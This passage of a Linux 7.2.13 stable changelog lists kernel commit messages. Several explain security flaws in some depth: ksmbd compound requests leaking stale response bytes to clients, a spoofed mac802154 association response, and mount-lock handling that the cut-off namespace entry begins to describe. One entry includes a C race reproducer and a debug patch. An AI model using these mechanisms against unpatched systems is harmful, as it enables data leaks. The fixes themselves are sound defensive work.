    d2c26c2911dd ("ipv6: avoid divide by zero in rt6_multipath_rebalance")
    and preserves the lock-free rebalance path.
    
    Fixes: 0e884c78ee19 ("ipv4: L3 hash-based multipath")
    Cc: stable@vger.kernel.org
    Reported-by: Vega <vega@nebusec.ai>
    Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
    Reviewed-by: Eric Dumazet <edumazet@google.com>
    Reviewed-by: Ido Schimmel <idosch@nvidia.com>
    Link: https://patch.msgid.link/20260827182514.4667-2-zihanx@nebusec.ai
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup [+ + +]
Author: Gael Blivet <gael.blivet@gmail.com>
Date:   Fri Jul 31 13:54:20 2026 +0200

    ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup
    
    [ Upstream commit a3bcea7c819a6c69ca937a68631311711bf20e66 ]
    
    smb2_ioctl() rejects FSCTL_PIPE_TRANSCEIVE with
    STATUS_OBJECT_NAME_NOT_FOUND before fsctl_pipe_transceive() runs. RPC
    pipe IDs live in sess->rpc_handle_list, a separate namespace from the
    ksmbd_file table the generic ksmbd_lookup_fd_slow() gate searches, so
    the lookup always misses.
    
    Found while testing generic SMB browsing (Finder's "Connect to
    Server"): every DCE/RPC bind over a named pipe (SRVSVC, WKSSVC, SAMR,
    LSARPC) failed right after CREATE. Adding FSCTL_PIPE_TRANSCEIVE to the
    same no_fileid_ioctl exemption as FSCTL_PIPE_WAIT fixes it, confirmed
    by testing a build with and without the change.
    
    Signed-off-by: Gael Blivet <gael.blivet@gmail.com>
    Assisted-by: Claude:claude-sonnet-5
    Tested-by: ChenXiaoSong <chenxiaosong@kylinos.cn>
    Reviewed-by: ChenXiaoSong <chenxiaosong@kylinos.cn>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>
ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION [+ + +]
Author: Aleksandr Khromov <haa@amicon.ru>
Date:   Tue Aug 25 10:19:21 2026 +0900

    ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
    
    commit db2267b27c054a6c2151ff7fbb67927e784f31d6 upstream.
    
    smb2_get_info_filesystem() reports 56 bytes for FS_POSIX_INFORMATION,
    that is the whole of FILE_SYSTEM_POSIX_INFO, but never assigns
    FileSysIdentifier.  Those eight bytes go to the client as they are found
    in the response buffer.
    
    The buffer is zeroed on allocation, so a standalone request leaks
    nothing.  A compound request can leak: the offset of the next response
    is advanced by the length pinned for the previous one, so a reply that
    was written into the buffer and then dropped in favour of the short
    error response of smb2_set_err_rsp() stays there, and the next reply is
    laid over it with only the header cleared.
    
    Report the file system id statfs() returned, which is what the field is
    for.  FileSysIdentifier is __le64 and f_fsid is a pair of ints, so
    assemble the value first, val[0] as the low half, and convert it on the
    way out.
    
    Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
    Cc: stable@vger.kernel.org
    Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION [+ + +]
Author: Aleksandr Khromov <haa@amicon.ru>
Date:   Mon Aug 24 21:23:32 2026 +0900

    ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
    
    commit c0cd3fc6824122014da2b3b0cb7ddeaa2946ec8e upstream.
    
    smb2_get_info_filesystem() reports 48 bytes for FS_CONTROL_INFORMATION,
    that is the whole of struct smb2_fs_control_info, but never assigns
    FileSystemControlFlags.  Those four bytes go to the client as they are
    found in the response buffer.
    
    The buffer is zeroed on allocation, so a standalone request leaks
    nothing.  A compound request can leak: the offset of the next response
    is advanced by the length pinned for the previous one, so a reply that
    was written into the buffer and then dropped in favour of the short
    error response of smb2_set_err_rsp() stays there, and the next reply is
    laid over it with only the header cleared.
    
    ksmbd does not implement quota tracking, so report no control flags.
    
    Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
    Cc: stable@vger.kernel.org
    Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in [+ + +]
Author: Aleksandr Khromov <haa@amicon.ru>
Date:   Mon Aug 24 13:22:46 2026 +0300

    ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
    
    commit 399aa12450a61a5c73dc77e73f069ece9687c95d upstream.
    
    smb2_get_info_filesystem() reports 64 bytes for FS_OBJECT_ID_INFORMATION,
    that is the whole of struct object_id_info, but writes only 46 of them:
    
     - objid[] is 16 bytes, and when the volume UUID is not available only
       sizeof(stfs.f_fsid) (8) bytes are copied into it;
     - extended_info.version_string[] is STRING_LENGTH (28) bytes, and only
       strlen("1.1.0") (5) bytes are copied into it.
    
    The response buffer is zeroed on allocation (kvzalloc() in
    smb2_allocate_rsp_buf()), so for a standalone request the remaining 31
    bytes are zero.  In a compound request they need not be.  The offset of
    the next response is advanced by the length pinned for the previous one,
    so if a preceding command wrote its reply into the buffer and then
    failed, smb2_set_err_rsp() pins only the short error response and the
    next reply lands inside the area that has already been written.  Only
    the header is cleared there:
    
            memset((char *)rsp_hdr, 0, sizeof(struct smb2_hdr) + 2);
    
    The client then receives up to 31 bytes of a response it was not meant
    to see, including one that failed with an access denied error.
    
    Clear the structure before filling it in.  As a side effect
    version_string is now NUL terminated.
    
    Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
    Suggested-by: ChenXiaoSong <chenxiaosong@chenxiaosong.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
    Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry [+ + +]
Author: Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
Date:   Thu Oct 1 14:43:54 2026 -0700

    KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
    
    commit c8f4cfe1cf93bce924e27f2abead7a4c4a487505 upstream.
    
    Reset the vCPU's MMU pointer back to the root MMU if loading L2 state fails
    in the "not from VM-Entry" case, i.e. when emulating RSM or handling
    KVM_SET_NESTED_STATE.  Failure to unwind the MMU pointer results in KVM
    trying to run L1 with a nested MMU, and is especially problematic if the
    vCPU manages to free its nested state before the VM crashes.  Constructing
    the root for a nested EPT MMU goes through vmcs12, which is dynamically
    allocated/freed when nVMX is enabled/disabled.  And so if the nested state
    is freed with the MMU still pointing at the nested MMU, KVM will hit a NULL
    pointer deref when attempting to get L1=>L2 EPTP.
    
      BUG: kernel NULL pointer dereference, address: 0000000000000078
      #PF: supervisor read access in kernel mode
      #PF: error_code(0x0000) - not-present page
      PGD 114a2d067 P4D 111743067 PUD 11141f067 PMD 0
      Oops: Oops: 0000 [#1] SMP
      CPU: 20 UID: 1000 PID: 1272 Comm: nested_tdp_faul Not tainted 7.3.0-rc4-8c89f11d1a99b-sink-vm #1914 PREEMPTLAZY
      Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015
      RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
      Call Trace:
       <TASK>
       kvm_mmu_load+0xcd/0x870 [kvm]
       kvm_arch_vcpu_ioctl_run+0x18f5/0x1f80 [kvm]
       kvm_vcpu_ioctl+0x2c7/0x970 [kvm]
       __x64_sys_ioctl+0x90/0xd0
       do_syscall_64+0x9c/0x4d0
       entry_SYSCALL_64_after_hwframe+0x4b/0x53
      RIP: 0033:0x47491b
       </TASK>
      Modules linked in: kvm_intel kvm irqbypass
      CR2: 0000000000000078
      ---[ end trace 0000000000000000 ]---
      RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
    
    Cc: David Woodhouse <dwmw2@infradead.org>
    Fixes: 72e9cbdb4338 ("KVM: nVMX: fix SMI injection in guest mode")
    Fixes: 8fcc4b5923af ("kvm: nVMX: Introduce KVM_CAP_NESTED_STATE")
    Cc: stable@vger.kernel.org
    Signed-off-by: Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
    [sean: write changelog]
    Signed-off-by: Sean Christopherson <seanjc@google.com>
    Link: https://patch.msgid.link/20261001214356.3825100-2-seanjc@google.com
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

KVM: SEV: Fix page dirtying in sev_gmem_post_populate() [+ + +]
Author: Jann Horn <jannh@google.com>
Date:   Mon Aug 10 17:33:59 2026 +0200

    KVM: SEV: Fix page dirtying in sev_gmem_post_populate()
    
    commit 97818b2fa7082e940ddd36dab12a68615300e798 upstream.
    
    set_page_dirty() requires that the caller holds some kind of lock to
    ensure that the page's mapping does not concurrently go away.
    That is not the case for a random page we got from get_user_pages_fast(),
    so use set_page_dirty_lock().
    
    Fixes: 97cd21d57e9b ("KVM: SEV: Mark source page dirty when writing back CPUID data on failure")
    Cc: stable@vger.kernel.org
    Signed-off-by: Jann Horn <jannh@google.com>
    Link: https://patch.msgid.link/20260810-x86-kvm-setpagedirty-v1-1-85f180892d4f@google.com
    [sean: tag for stable]
    Signed-off-by: Sean Christopherson <seanjc@google.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes [+ + +]
Author: Paolo Bonzini <pbonzini@redhat.com>
Date:   Wed Oct 21 11:30:05 2026 -0400

    KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
    
    [ Upstream commit e90ab3669181c6469e3647ef2b30ae408275f496 ]
    
    When running Hyper-V from Windows 11, KVM is seeing the SS bit set
    in nested page fault error codes produced for shadowed NPT.  The AMD
    manual is unclear about when SS is set, including whether it can be set
    when SupervisorShadowStackEn (bit 6) is not set in the MISC_CTL field
    of the VMCB.
    
    Nevertheless, the unexpected SS bit causes out of bounds accesses in
    permission_fault(), seen as either WARNs or UBSAN reports:
    
      kernel: UBSAN: array-index-out-of-bounds in arch/x86/kvm/mmu.h:225:27
      kernel: index 34 is out of range for type 'u16 [16]'
    
    (in this case, the page fault error code is 34*2=0x44, i.e. SS|U; the
    report shows SS|U|W happening as well).  Fix the handling of unknown
    error codes by dropping SS and (with a WARN) any bits not among those
    that permission_fault() expects to receive.
    
    At the same time, given the uncertainty about when hardware sets SS,
    follow the processor's behavior when constructing the fault's error
    code, and preserve the SS bit as passed to FNAME(walk_addr_generic).
    While the behavior is surprising, there's a possibility that Hyper-V
    expects it (Hyper-V does not even enable CET unless it finds MBEC/GMET!),
    so retain the information when reflecting the fault to L1 instead of
    unconditionally discarding it.
    
    Bisection shows that this started happening with commit 687ee95c1b6d ("KVM:
    nSVM: enable GMET for guests"), even though SHSTK was available to guests
    since Linux 6.18.  However, this is not because bit 1 of MISC_CTL (GMET)
    somehow enables reporting the SS bit; rather, it's simply that Hyper-V
    never uses CET unless GMET is also present.  The WARN is reproducible
    even with gmet=0, with some hacking of kvm-unit-tests's cet.c testcase
    to ensure that the first access to the shadow stack triggers a page fault.
    
    Reported-by: SimonP <simonp.git@mailbox.org>
    Fixes: 8db428fd5229 ("KVM: SVM: Enable shadow stack virtualization for SVM")
    Cc: stable@vger.kernel.org
    Reviewed-by: Sean Christopherson <seanjc@google.com>
    Closes: https://lore.kernel.org/all/asUqYEisPp9MJ8mQ@rika.bernkas.tel
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    [ sashal: Adapted upstream w and fmt references to the existing mmu structure. ]
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state [+ + +]
Author: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
Date:   Fri Oct 9 14:53:53 2026 +0200

    lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
    
    commit 24f07e8c07a0c0dd275331cbb41c79a78741eef9 upstream.
    
    When poly1305_blocks_neon() resumes from a base 2^26 accumulator and the
    next update contains an odd number of full 16-byte blocks, it processes
    one leading block through poly1305_mult() so that the remaining NEON
    work has an even block count.  That requires converting the accumulator
    to the base 2^64 form used by poly1305_mult().  The final ADC of that
    conversion stores the carry into d2, but the following accumulation and
    poly1305_mult() use h2.  If the conversion carries across bit 128, the
    carry is dropped and the emitted tag is wrong.
    
    This was introduced by Cryptogams commit 03dc4adf91c8
    ("arm/poly1305-armv*.pl: optimize branches."), which removed the
    reduction that consumed d2 shortly before Linux imported the code.
    OpenSSL's copy did not take that change.
    
    The carry is possible because the NEON code stores the accumulator [h0,
    h1, h2, h3, h4] in a lazily reduced, redundant base 2^26 form: its final
    carry chain leaves h0, h2, h3 < 2^26, but h1 and h4 may slightly exceed
    2^26 - 1.  For example, the reachable state
    
      h0 = 4
      h1 = 2^26
      h2 = 2^26 - 1
      h3 = 2^26 - 1
      h4 = 2^24 - 1
    
    represents 4 + 2^26*2^26 + (2^26-1)*2^52 + (2^26-1)*2^78 +
    (2^24-1)*2^104 = 2^128 + 4, despite the bit representing the 2^128 term
    (bit 24 of h4) not being set; the extra comes from the h1 limb being
    above the normal base 2^26 range.  When this value is converted into the
    non-redundant base 2^64 form, a carry into the new 2^128 bit (in bit 0
    of h2) is necessary to preserve the value.
    
    Given the above bounds, a carry into bit 128 happens exactly when
    h1 >= 2^26, h2 = h3 = 2^26 - 1, and h4 mod 2^24 = 2^24 - 1.
    
    Store the carry into h2, matching the other base 2^26 to base 2^64
    conversions in poly1305_blocks() and poly1305_emit().
    
    This bug causes an incorrect tag to be emitted.  However, this is
    unlikely to happen in practice where Poly1305 is used with a random key,
    since the random key tends to distribute the accumulator values
    throughout their valid range.  There isn't an obvious way for an
    attacker without knowledge of the r_key to cause [h0, h1, h2, h3, h4] to
    land on the precise values where this bug occurs.
    
    [EB: Rewrote the commit message to more clearly describe the bug and
     its impact, and simplified explanation about why there's a carry bit.]
    
    Fixes: f569ca164751 ("crypto: arm64/poly1305 - incorporate OpenSSL/CRYPTOGAMS NEON implementation")
    Cc: stable@vger.kernel.org
    Assisted-by: LLM
    Reviewed-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Signed-off-by: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
    Link: https://patch.msgid.link/20261009125354.315476-2-ebiggers@kernel.org
    Signed-off-by: Eric Biggers <ebiggers@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() [+ + +]
Author: Eric Biggers <ebiggers@kernel.org>
Date:   Tue Oct 6 10:34:32 2026 +0200

    lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
    
    commit da619121a5d271e78ec709a1f9a3c5f99b9e10ad upstream.
    
    Use memzero_explicit() instead of a plain struct assignment to guarantee
    zeroization of the 'struct poly1305_desc_ctx'.
    
    Note that dead store elimination was only theoretically possible with
    link-time optimization here.  But it's still worth fixing.
    
    Fixes: a1d93064094c ("crypto: poly1305 - expose init/update/final library interface")
    Cc: stable@vger.kernel.org
    Reported-by: Sashiko <sashiko-bot@kernel.org>
    Closes: https://sashiko.dev/#/bug/linux-c3a6bd76-f6ab-4203-892a-cd06f7aa0c34
    Reviewed-by: Ard Biesheuvel <ardb@kernel.org>
    Link: https://patch.msgid.link/20261006083432.16328-1-ebiggers@kernel.org
    Signed-off-by: Eric Biggers <ebiggers@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
Linux: Linux 7.2.13 [+ + +]
Author: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Date:   Mon Oct 26 16:01:14 2026 +0100

    Linux 7.2.13
    
    Link: https://lore.kernel.org/r/20261023163713.816071858@linuxfoundation.org
    Link: https://lore.kernel.org/r/20261024064731.125251200@linuxfoundation.org
    Tested-by: Salvatore Bonaccorso <carnil@debian.org>
    Tested-by: Brett A C Sheffield <bacs@librecast.net>
    Tested-by: Miguel Ojeda <ojeda@kernel.org>
    Tested-by: Markus Reichelt <lkt+2023@mareichelt.com>
    Tested-by: Peter Schneider <pschneider1968@googlemail.com>
    Tested-by: Justin M. Forbes <jforbes@fedoraproject.org>
    Tested-by: SJ Park <sj@kernel.org>
    Tested-by: Pavel Machek (CIP) <pavel@nabladev.com>
    Tested-by: Ron Economos <re@w6rz.net>
    Tested-by: Takeshi Ogasawara <takeshi.ogasawara@futuring-girl.com>
    Link: https://lore.kernel.org/r/20261025125805.309934791@linuxfoundation.org
    Tested-by: SJ Park <sj@kernel.org>
    Tested-by: Miguel Ojeda <ojeda@kernel.org>
    Tested-by: Brett A C Sheffield <bacs@librecast.net>
    Tested-by: Achill Gilgenast <achill@achill.org>=
    Tested-by: Benjamin Boortz <bennib@mailbox.org>
    Tested-by: Barry K. Nathan <barryn@pobox.com>
    Tested-by: Peter Schneider <pschneider1968@googlemail.com>
    Tested-by: Ron Economos <re@w6rz.net>
    Tested-by: Takeshi Ogasawara <takeshi.ogasawara@futuring-girl.com>
    Tested-by: Steffen Dirkwinkel <s.dirkwinkel@beckhoff.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
mac802154: fix data race and NULL deref on local->assoc_dev [+ + +]
Author: Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
Date:   Sun Aug 30 07:05:51 2026 +0800

    mac802154: fix data race and NULL deref on local->assoc_dev
    
    commit c037915f80c4db47f7d061d68e703ffd551b1a34 upstream.
    
    local->assoc_dev is shared between the association path and the
    association-response worker without common synchronization.
    
    mac802154_perform_association() stores the coordinator pointer and waits
    for a response. Its timeout and error paths clear the pointer and return
    to mac802154_associate(), which may then free the coordinator object.
    Meanwhile, mac802154_rx_mac_cmd_worker() may observe the associating bit
    and enter mac802154_process_association_resp(), which dereferences
    assoc_dev.
    
    The worker's bit test and the handler's pointer dereference are not
    atomic with respect to cleanup. Cleanup can clear assoc_dev between them,
    causing a NULL dereference, or free the coordinator while the response
    handler still uses the pointer.
    
    The recorded result is exposed to the same window. assoc_status and
    assoc_addr are written by the handler but read by the association path
    while the associating bit is still set, so a second response for the same
    request - a malicious one, for instance - can replace them between those
    reads and leave the caller with an incoherent status and address pair.
    
    The response handler only needs the coordinator extended address.
    Replace assoc_dev with a cached address, removing the pointer lifetime
    dependency. Protect the cached address and the associating bit with a
    dedicated spinlock. A READ_ONCE()/WRITE_ONCE() pair would not guarantee
    an atomic __le64 access on all 32-bit architectures.
    
    wpan_dev->association_lock cannot be reused here: nl802154_associate()
    holds it across rdev_associate(), hence for the whole of
    mac802154_perform_association() including the wait for the response.
    A response handler taking that lock would only get it once the
    association has already given up.
    
    Reset the completion, publish the cached address, and set the associating
    bit while holding the lock. The response handler takes the lock, rechecks
    the bit and the cached address, records the response, clears the bit, and
    only then completes the waiter. Thus cleanup cannot pass the handler
    between its state check and completion, and the cached 64-bit value
    cannot tear.
    
    The handler clears the bit before completing, not the woken waiter:
    otherwise complete() is issued under the lock and a second (e.g.
    malicious) response can reacquire it before the waiter and replace the
    result. So a wait that returns success implies the bit is already clear,
    and the success and negative-response paths return directly. The
    transmit-error and timeout paths still clear it under assoc_lock, which
    serializes any racing response against the cleanup while the call returns
    the error it already selected. Both paths snapshot assoc_status and
    assoc_addr under the same lock.
    
    Both users run in process context, so a plain spinlock is sufficient.
    The lock is not held while waiting for the completion.
    
    Suggested-by: Miquel Raynal <miquel.raynal@bootlin.com>
    Suggested-by: Xuanqiang Luo <xuanqiang.luo@linux.dev>
    Fixes: fefd19807fe9 ("mac802154: Handle associating")
    Cc: stable@vger.kernel.org
    Signed-off-by: Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
    Reviewed-by: Xuanqiang Luo <luoxuanqiang@kylinos.cn>
    Reviewed-by: Miquel Raynal <miquel.raynal@bootlin.com>
    Link: https://patch.msgid.link/20260829230551.1787432-1-skwkevin@mail.ustc.edu.cn
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
mshv_vtl: Check per-CPU register page before mmap [+ + +]
Author: Hardik Garg <hargar@linux.microsoft.com>
Date:   Fri Sep 11 17:51:46 2026 +0000

    mshv_vtl: Check per-CPU register page before mmap
    
    commit 874194a8de75fc2f4d1fb70c670b289b7e48f93e upstream.
    
    Register-page setup is optional for each CPU. If allocation or
    registration fails, mshv_vtl_configure_reg_page() warns and leaves that
    CPU's reg_page NULL, but initial context setup continues successfully.
    Meanwhile, successful setup on another CPU sets the global
    mshv_has_reg_page flag.
    
    mshv_vtl_fault() checks this global flag before selecting the requested
    CPU's register page. With mixed setup results across online CPUs, the
    check passes even for a CPU with no register page, reaching
    get_page(NULL) when userspace faults in that mapping.
    
    Check the selected per-CPU register page before taking its reference and
    return VM_FAULT_SIGBUS if it is absent.
    
    Fixes: 7bfe3b8ea6e3 ("Drivers: hv: Introduce mshv_vtl driver")
    Cc: stable@vger.kernel.org
    Signed-off-by: Hardik Garg <hargar@linux.microsoft.com>
    Reviewed-by: Naman Jain <namjain@linux.microsoft.com>
    Signed-off-by: Wei Liu <wei.liu@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
namei: test for a negative dentry the way traverse_mounts() does [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Mon Oct 12 14:57:04 2026 +0200

    namei: test for a negative dentry the way traverse_mounts() does
    
    commit 98b6cf102b35b2bb48d1fd74d5f664eb66fe83eb upstream.
    
    lookup_fast_for_open() only hands an O_CREAT open a cached dentry if
    it's positive. Otherwise the open goes on to lookup_open(), which takes
    the directory lock and creates the file. It tests for that with
    !dentry->d_inode, but traverse_mounts() later decides with the type in
    d_flags. And when a dentry is instantiated __d_set_inode_and_type()
    stores ->d_inode first and only then releases the type into ->d_flags.
    
    So a refwalk that took its reference to a negative dentry right before
    another task instantiates it can find ->d_inode already set in
    lookup_fast_for_open(), go on to step_into(), and still find the
    negative type in traverse_mounts(). The open then fails with -ENOENT,
    which an O_CREAT open must never do. rcuwalk doesn't get that far, the
    d_seq check in step_into() catches the instantiation.
    
    Use d_is_negative() so both look at the type. While the type is still
    negative the open takes lookup_open() and waits for the directory lock
    like any other O_CREAT open of a negative dentry.
    
    On its own the window is a couple of instructions in the creating task,
    so it takes an interrupt or a preempted vcpu in exactly the right spot.
    I haven't caught it without help in about 600 million racing O_CREAT
    opens.
    
    The debug patch below stalls the creating task between the two stores
    for names starting with "ocrace", the way an interrupt landing there
    would. The reproducer below opens "ocrace" with O_CREAT through
    symlinks on a strictatime tmpfs: following them updates their atime,
    which drops the walk out of rcuwalk, so the name is always looked up in
    refwalk. With
    
      echo 20 > /proc/sys/fs/ocrace_instantiate_us
      ./ocreat_enoent -t 60
    
    on a KASAN kernel open() failed with -ENOENT 43 times in 4.9 million
    calls. With this patch it never failed in 4.8 million calls. Tracing
    step_into_slowpath() during such a run, each of the 98 -ENOENTs it
    returned came right after the same task had entered it with a dentry
    that was still typed negative.
    
      // SPDX-License-Identifier: GPL-2.0
      /*
       * ocreat_enoent: open(O_CREAT) racing the creation of the same name.
       *
       * Writers unlink "ocrace" and create it again. Readers open it with
       * O_CREAT through a symlink of their own on a strictatime tmpfs.
       * Following the symlink updates its atime, which drops the walk out of
       * rcu mode, so the name is always looked up in refwalk. An O_CREAT open
       * must never fail with ENOENT.
       *
       * -p arms a cpu-clock perf timer with that period in ns on every writer,
       * so that interrupts land at random points in it.
       *
       *   usage: ocreat_enoent [-t secs] [-w writers] [-r readers] [-p ns]
       */
      #define _GNU_SOURCE
      #include <errno.h>
      #include <fcntl.h>
      #include <pthread.h>
      #include <stdatomic.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/mount.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <unistd.h>
      #include <linux/perf_event.h>
    
      #define DIR "/tmp/oc"
    
      static atomic_int stop;
      static atomic_long opens, creates, enoent, other;
      static long period;
    
      static void die(const char *what)
      {
            fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
            exit(2);
      }
    
      static void *writer(void *arg)
      {
            (void)arg;
            if (period) {
                    struct perf_event_attr attr = {
                            .type = PERF_TYPE_SOFTWARE,
                            .size = sizeof(attr),
                            .config = PERF_COUNT_SW_CPU_CLOCK,
                            .sample_period = period,
                    };
    
                    if (syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0) < 0)
                            die("perf_event_open");
            }
            while (!atomic_load(&stop)) {
                    int fd;
    
                    unlink(DIR "/ocrace");
                    fd = open(DIR "/ocrace", O_CREAT | O_RDWR | O_CLOEXEC, 0644);
                    if (fd >= 0)
                            close(fd);
                    atomic_fetch_add(&creates, 1);
            }
            return NULL;
      }
    
      static void *reader(void *arg)
      {
            char lnk[64];
    
            snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", (long)arg);
            while (!atomic_load(&stop)) {
                    int fd = open(lnk, O_CREAT | O_RDWR | O_CLOEXEC, 0644);
    
                    if (fd >= 0)
                            close(fd);
                    else if (errno == ENOENT)
                            atomic_fetch_add(&enoent, 1);
                    else
                            atomic_fetch_add(&other, 1);
                    atomic_fetch_add(&opens, 1);
            }
            return NULL;
      }
    
      int main(int argc, char **argv)
      {
            int secs = 60, nw = 4, nr = 12, c, n = 0;
            pthread_t t[256];
    
            while ((c = getopt(argc, argv, "t:w:r:p:")) != -1) {
                    switch (c) {
                    case 't': secs = atoi(optarg); break;
                    case 'w': nw = atoi(optarg); break;
                    case 'r': nr = atoi(optarg); break;
                    case 'p': period = atol(optarg); break;
                    default: return 2;
                    }
            }
            if (nw + nr > 256)
                    return 2;
            mkdir(DIR, 0755);
            if (mount("oc", DIR, "tmpfs", MS_STRICTATIME, "mode=0755"))
                    die("tmpfs");
            for (long i = 0; i < nr; i++) {
                    char lnk[64];
    
                    snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", i);
                    if (symlink("ocrace", lnk))
                            die("symlink");
            }
            for (long i = 0; i < nw; i++)
                    if (pthread_create(&t[n++], NULL, writer, NULL))
                            die("writer");
            for (long i = 0; i < nr; i++)
                    if (pthread_create(&t[n++], NULL, reader, (void *)i))
                            die("reader");
            sleep(secs);
            atomic_store(&stop, 1);
            for (int i = 0; i < n; i++)
                    pthread_join(t[i], NULL);
            printf("%ds: %ld opens, %ld creates, ENOENT %ld, other errors %ld\n",
                   secs, atomic_load(&opens), atomic_load(&creates),
                   atomic_load(&enoent), atomic_load(&other));
            umount2(DIR, MNT_DETACH);
            return atomic_load(&enoent) ? 1 : 0;
      }
    
    #  diff --git a/fs/dcache.c b/fs/dcache.c
    #  --- a/fs/dcache.c
    #  +++ b/fs/dcache.c
    #  @@ -32,9 +32,13 @@
    #   #include <linux/bit_spinlock.h>
    #   #include <linux/rculist_bl.h>
    #   #include <linux/list_lru.h>
    #  +#include <linux/delay.h>
    #   #include "internal.h"
    #   #include "mount.h"
    #
    #  +/* debug: stall "ocrace*" names between ->d_inode and the type */
    #  +static int sysctl_ocrace_instantiate_us;
    #  +
    #   #include <asm/runtime-const.h>
    #
    #   /*
    #  @@ -200,6 +204,13 @@
    #   }
    #
    #   static const struct ctl_table fs_dcache_sysctls[] = {
    #  +    {
    #  +            .procname       = "ocrace_instantiate_us",
    #  +            .data           = &sysctl_ocrace_instantiate_us,
    #  +            .maxlen         = sizeof(int),
    #  +            .mode           = 0644,
    #  +            .proc_handler   = proc_dointvec,
    #  +    },
    #       {
    #               .procname       = "dentry-state",
    #               .data           = &dentry_stat,
    #  @@ -405,6 +416,10 @@
    #       unsigned flags;
    #
    #       dentry->d_inode = inode;
    #  +    /* debug: an interrupt landing right here */
    #  +    if (unlikely(READ_ONCE(sysctl_ocrace_instantiate_us)) &&
    #  +        !strncmp(dentry->d_name.name, "ocrace", 6))
    #  +            udelay(READ_ONCE(sysctl_ocrace_instantiate_us));
    #       flags = READ_ONCE(dentry->d_flags);
    #       flags &= ~DCACHE_ENTRY_TYPE;
    #       flags |= type_flags;
    
    Fixes: e747e15156b7 ("fs: try an opportunistic lookup for O_CREAT opens too")
    Cc: stable@vger.kernel.org # v6.12+
    Link: https://patch.msgid.link/20261012-work-namei-ocreate-v1-1-c7883b17ee28@kernel.org
    Reviewed-by: Jeff Layton <jlayton@kernel.org>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
namespace: a mount that copy_tree() leaves out can't take over a lock [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Wed Oct 14 21:45:13 2026 +0200

    namespace: a mount that copy_tree() leaves out can't take over a lock
    
    commit 69fbe94f80bc423613fa18dae6656757423732a2 upstream.
    
    Since commit c62a4766937e ("move_mount: transfer MNT_LOCKED") a mount
    can be moved beneath a locked mount. The lock moves from the old cover
    to the new mount which takes over the job of hiding what's under it and
    the old cover can be unmounted. That works as long as the new mount
    stays. But the caller picks the new mount and copy_tree() leaves a
    mount of a mount namespace file out of every copy made without
    CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never
    looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make
    such copies.
    
